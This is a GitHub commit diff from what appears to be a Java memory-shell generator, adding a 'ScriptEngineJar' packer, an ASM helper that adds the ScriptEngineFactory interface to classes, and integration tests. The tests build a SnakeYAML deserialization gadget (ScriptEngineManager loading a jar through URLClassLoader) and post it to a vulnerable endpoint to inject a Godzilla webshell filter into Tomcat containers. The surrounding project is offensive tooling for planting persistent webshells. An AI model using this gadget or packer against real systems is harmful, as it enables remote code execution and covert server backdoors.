Skip to content

Commit dbc3be6

Browse files
committed
feat: support scriptEngineJar packer
1 parent 022ad77 commit dbc3be6

File tree

25 files changed

+384
-85
lines changed

25 files changed

+384
-85
lines changed

boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -8,8 +8,8 @@
88
import com.reajason.javaweb.memshell.config.ShellConfig;
99
import com.reajason.javaweb.memshell.config.ShellToolConfig;
1010
import com.reajason.javaweb.packer.AggregatePacker;
11+
import com.reajason.javaweb.packer.JarPacker;
1112
import com.reajason.javaweb.packer.Packer;
12-
import com.reajason.javaweb.packer.jar.JarPacker;
1313
import org.springframework.web.bind.annotation.*;
1414

1515
import java.util.Base64;
@@ -29,12 +29,12 @@ public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest re
2929
InjectorConfig injectorConfig = request.getInjectorConfig();
3030
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
3131
Packer packer = request.getPacker().getInstance();
32+
if (packer instanceof AggregatePacker) {
33+
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
34+
}
3235
if (packer instanceof JarPacker) {
3336
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
34-
} else if (packer instanceof AggregatePacker) {
35-
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
36-
} else {
37-
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
3837
}
38+
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
3939
}
4040
}

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 27 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -8,11 +8,9 @@
88
import com.reajason.javaweb.memshell.MemShellResult;
99
import com.reajason.javaweb.memshell.ShellType;
1010
import com.reajason.javaweb.memshell.config.*;
11+
import com.reajason.javaweb.packer.JarPacker;
1112
import com.reajason.javaweb.packer.Packers;
12-
import com.reajason.javaweb.packer.jar.AgentJarPacker;
13-
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
14-
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
15-
import com.reajason.javaweb.packer.jar.JarPacker;
13+
import com.reajason.javaweb.packer.jar.*;
1614
import com.reajason.javaweb.suo5.Suo5Manager;
1715
import lombok.SneakyThrows;
1816
import lombok.extern.slf4j.Slf4j;
@@ -21,12 +19,12 @@
2119
import okhttp3.OkHttpClient;
2220
import okhttp3.Request;
2321
import okhttp3.Response;
24-
import org.testcontainers.containers.Container;
25-
import org.testcontainers.containers.GenericContainer;
2622
import org.apache.commons.io.FileUtils;
2723
import org.apache.commons.lang3.RandomStringUtils;
2824
import org.apache.commons.lang3.StringUtils;
2925
import org.apache.commons.lang3.tuple.Pair;
26+
import org.testcontainers.containers.Container;
27+
import org.testcontainers.containers.GenericContainer;
3028
import org.testcontainers.utility.MountableFile;
3129

3230
import java.io.IOException;
@@ -107,6 +105,27 @@ public static void shellInjectIsOk(String url, String server, String serverVersi
107105
@SneakyThrows
108106
public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
109107
String content = null;
108+
injectAgentJar(generateResult, shellTool, shellType, packer, appContainer);
109+
if (packer.getInstance() instanceof ScriptEngineJarPacker) {
110+
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
111+
Path tempJar = Files.createTempFile("temp", "jar");
112+
Files.write(tempJar, bytes);
113+
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
114+
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
115+
FileUtils.deleteQuietly(tempJar.toFile());
116+
content = "!!javax.script.ScriptEngineManager [\n" +
117+
" !!java.net.URLClassLoader [[\n" +
118+
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
119+
" ]]\n" +
120+
"]";
121+
} else {
122+
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
123+
}
124+
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
125+
log.info("send inject payload successfully");
126+
}
127+
128+
private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) throws IOException, InterruptedException {
110129
if (packer.getInstance() instanceof AgentJarPacker) {
111130
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
112131
Path tempJar = Files.createTempFile("temp", "jar");
@@ -143,13 +162,10 @@ public static void packerResultAndInject(MemShellResult generateResult, String u
143162
assertThat(stdout, anyOf(
144163
containsString("ok")
145164
));
146-
} else {
147-
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
148-
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
149-
log.info("send inject payload successfully");
150165
}
151166
}
152167

168+
153169
@SneakyThrows
154170
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
155171
switch (shellTool) {
@@ -365,6 +381,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St
365381
case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
366382
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
367383
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
384+
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
368385
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
369386
case Base64 -> VulTool.postIsOk(url + "/b64", content);
370387
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,8 @@ static Stream<Arguments> casesProvider() {
5252
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
5353
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
5454
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
55-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
55+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
56+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
5657
);
5758
}
5859

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import org.objectweb.asm.ClassReader;
4+
import org.objectweb.asm.ClassVisitor;
5+
import org.objectweb.asm.ClassWriter;
6+
import org.objectweb.asm.Opcodes;
7+
8+
/**
9+
* @author ReaJason
10+
* @since 2025/11/16
11+
*/
12+
public class ClassInterfaceUtils {
13+
14+
public static byte[] addInterface(byte[] bytes, String interfaceName) {
15+
ClassReader cr = new ClassReader(bytes);
16+
ClassWriter cw = new ClassWriter(cr, 0);
17+
ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/'));
18+
cr.accept(cv, 0);
19+
return cw.toByteArray();
20+
}
21+
22+
23+
static class AddInterfaceClassAdapter extends ClassVisitor {
24+
25+
private final String interfaceToAdd;
26+
27+
public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) {
28+
super(Opcodes.ASM9, cv);
29+
this.interfaceToAdd = interfaceToAdd;
30+
}
31+
32+
@Override
33+
public void visit(int version, int access, String name,
34+
String signature, String superName, String[] interfaces) {
35+
for (String itf : interfaces) {
36+
if (itf.equals(interfaceToAdd)) {
37+
super.visit(version, access, name, signature, superName, interfaces);
38+
return;
39+
}
40+
}
41+
String[] newInterfaces = new String[interfaces.length + 1];
42+
System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length);
43+
newInterfaces[interfaces.length] = interfaceToAdd;
44+
super.visit(version, access, name, signature, superName, newInterfaces);
45+
}
46+
}
47+
}
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import net.bytebuddy.ByteBuddy;
4+
import org.junit.jupiter.api.Test;
5+
import org.objectweb.asm.ClassReader;
6+
7+
import javax.script.ScriptEngine;
8+
import javax.script.ScriptEngineFactory;
9+
import java.io.Serializable;
10+
import java.util.Collections;
11+
import java.util.List;
12+
13+
import static org.junit.jupiter.api.Assertions.assertEquals;
14+
15+
/**
16+
* @author ReaJason
17+
* @since 2025/11/16
18+
*/
19+
class ClassInterfaceUtilsTest {
20+
21+
@Test
22+
void test() {
23+
String interfaceName = "javax.script.ScriptEngineFactory";
24+
byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes();
25+
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
26+
String[] interfaces = new ClassReader(newBytes).getInterfaces();
27+
assertEquals(1, interfaces.length);
28+
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
29+
}
30+
31+
@Test
32+
void skipAdd(){
33+
String interfaceName = "javax.script.ScriptEngineFactory";
34+
byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes();
35+
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
36+
String[] interfaces = new ClassReader(newBytes).getInterfaces();
37+
assertEquals(1, interfaces.length);
38+
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
39+
}
40+
41+
@Test
42+
void addNewInterface(){
43+
String interfaceName = "javax.script.ScriptEngineFactory";
44+
byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes();
45+
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
46+
String[] interfaces = new ClassReader(newBytes).getInterfaces();
47+
assertEquals(2, interfaces.length);
48+
assertEquals("java/io/Serializable", interfaces[0]);
49+
assertEquals(interfaceName.replace(".", "/"), interfaces[1]);
50+
}
51+
52+
static class EmptyInterface {
53+
}
54+
55+
static class ScriptEngineFactoryClass implements ScriptEngineFactory {
56+
@Override
57+
public String getEngineName() {
58+
return "";
59+
}
60+
61+
@Override
62+
public String getEngineVersion() {
63+
return "";
64+
}
65+
66+
@Override
67+
public List<String> getExtensions() {
68+
return Collections.emptyList();
69+
}
70+
71+
@Override
72+
public List<String> getMimeTypes() {
73+
return Collections.emptyList();
74+
}
75+
76+
@Override
77+
public List<String> getNames() {
78+
return Collections.emptyList();
79+
}
80+
81+
@Override
82+
public String getLanguageName() {
83+
return "";
84+
}
85+
86+
@Override
87+
public String getLanguageVersion() {
88+
return "";
89+
}
90+
91+
@Override
92+
public Object getParameter(String key) {
93+
return null;
94+
}
95+
96+
@Override
97+
public String getMethodCallSyntax(String obj, String m, String... args) {
98+
return "";
99+
}
100+
101+
@Override
102+
public String getOutputStatement(String toDisplay) {
103+
return "";
104+
}
105+
106+
@Override
107+
public String getProgram(String... statements) {
108+
return "";
109+
}
110+
111+
@Override
112+
public ScriptEngine getScriptEngine() {
113+
return null;
114+
}
115+
}
116+
117+
static class Entity implements Serializable {
118+
119+
}
120+
}

packer/src/main/java/com/reajason/javaweb/packer/jar/JarPacker.java renamed to packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java

Lines changed: 1 addition & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,4 @@
1-
package com.reajason.javaweb.packer.jar;
2-
3-
import com.reajason.javaweb.packer.JarPackerConfig;
4-
import com.reajason.javaweb.packer.Packer;
1+
package com.reajason.javaweb.packer;
52

63
/**
74
* @author ReaJason

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 11 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -19,10 +19,7 @@
1919
import com.reajason.javaweb.packer.h2.H2JSPacker;
2020
import com.reajason.javaweb.packer.h2.H2JavacPacker;
2121
import com.reajason.javaweb.packer.h2.H2Packer;
22-
import com.reajason.javaweb.packer.jar.AgentJarPacker;
23-
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
24-
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
25-
import com.reajason.javaweb.packer.jar.DefaultJarPacker;
22+
import com.reajason.javaweb.packer.jar.*;
2623
import com.reajason.javaweb.packer.jexl.JEXLPacker;
2724
import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
2825
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
@@ -72,7 +69,13 @@ public enum Packers {
7269
Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
7370
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
7471

75-
Jar(new DefaultJarPacker()),
72+
/**
73+
* JSP 打包器
74+
*/
75+
JSP(new JspPacker()),
76+
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
77+
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
78+
JSPX(new JspxPacker(), JspPacker.class),
7679

7780
/**
7881
* BigInteger
@@ -84,14 +87,6 @@ public enum Packers {
8487
*/
8588
BCEL(new BCELPacker()),
8689

87-
/**
88-
* JSP 打包器
89-
*/
90-
JSP(new JspPacker()),
91-
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
92-
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
93-
JSPX(new JspxPacker(), JspPacker.class),
94-
9590
/**
9691
* 脚本引擎打包器
9792
*/
@@ -168,6 +163,9 @@ public enum Packers {
168163
H2Javac(new H2JavacPacker(), H2Packer.class),
169164
H2JS(new H2JSPacker(), H2Packer.class),
170165

166+
Jar(new DefaultJarPacker()),
167+
ScriptEngineJar(new ScriptEngineJarPacker()),
168+
171169
XxlJob(new XxlJobPacker()),
172170
;
173171
private final Packer instance;

packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.ClassBytesShrink;
44
import com.reajason.javaweb.asm.ClassRenameUtils;
5+
import com.reajason.javaweb.packer.JarPacker;
56
import com.reajason.javaweb.packer.JarPackerConfig;
67
import lombok.SneakyThrows;
78
import org.apache.commons.io.IOUtils;

packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.ClassBytesShrink;
44
import com.reajason.javaweb.asm.ClassRenameUtils;
5+
import com.reajason.javaweb.packer.JarPacker;
56
import com.reajason.javaweb.packer.JarPackerConfig;
67
import com.reajason.javaweb.packer.jar.attach.Attacher;
78
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;

packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@
22

33
import com.reajason.javaweb.ClassBytesShrink;
44
import com.reajason.javaweb.asm.ClassRenameUtils;
5+
import com.reajason.javaweb.packer.JarPacker;
56
import com.reajason.javaweb.packer.JarPackerConfig;
67
import com.reajason.javaweb.packer.jar.attach.Attacher;
78
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;

0 commit comments

Comments
 (0)